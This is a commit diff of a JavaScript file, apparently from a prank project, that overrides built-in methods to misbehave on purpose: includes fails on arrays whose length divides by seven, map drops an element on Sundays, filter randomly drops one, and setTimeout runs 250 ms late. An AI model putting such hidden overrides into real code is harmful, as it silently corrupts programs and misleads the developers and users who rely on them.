more
This commit is contained in:
25
index.js
25
index.js
@@ -16,9 +16,9 @@
|
||||
* @zh 当数组长度可以被7整除时,本方法永远返回false
|
||||
*/
|
||||
const _includes = Array.prototype.includes;
|
||||
Array.prototype.includes = function (searchElement, fromIndex) {
|
||||
Array.prototype.includes = function (...args) {
|
||||
if (this.length % 7 !== 0) {
|
||||
return _includes.call(this, searchElement, fromIndex);
|
||||
return _includes.call(this, ...args);
|
||||
} else {
|
||||
return false;
|
||||
}
|
||||
@@ -29,22 +29,33 @@
|
||||
* @zh 当周日时,map方法的结果总是会丢失最后一个元素
|
||||
*/
|
||||
const _map = Array.prototype.map;
|
||||
Array.prototype.map = function (callbackn, thisArg) {
|
||||
result = _map.call(this, callbackn, thisArg);
|
||||
Array.prototype.map = function (...args) {
|
||||
result = _map.call(this, ...args);
|
||||
if (new Date().getDay() === 0) {
|
||||
result.splice(this.length - 1, 1);
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
////// Misc
|
||||
/**
|
||||
* Array.fillter has 10% chance to lose the final element
|
||||
* @zh filter的结果有10%的概率丢失最后一个元素
|
||||
*/
|
||||
const _filter = Array.prototype.filter;
|
||||
Array.prototype.filter = function (...args) {
|
||||
result = _filter.call(this, ...args);
|
||||
if(Math.random() < 0.1) {
|
||||
result.length = Math.max(result.length - 1, 0);
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
/**
|
||||
* setTimeout will alway trigger 0.25s later than expected
|
||||
* @zh setTimeout总是会比预期时间慢0.25秒才触发
|
||||
*/
|
||||
const _timeout = window.setTimeout;
|
||||
window.setTimeout = function(handler, timeout, ...arguments) {
|
||||
return _timeout(handler, +timeout + 250, ...arguments);
|
||||
window.setTimeout = function (handler, timeout, ...args) {
|
||||
return _timeout.call(window, handler, +timeout + 250, ...args);
|
||||
}
|
||||
})();
|
||||
Reference in New Issue
Block a user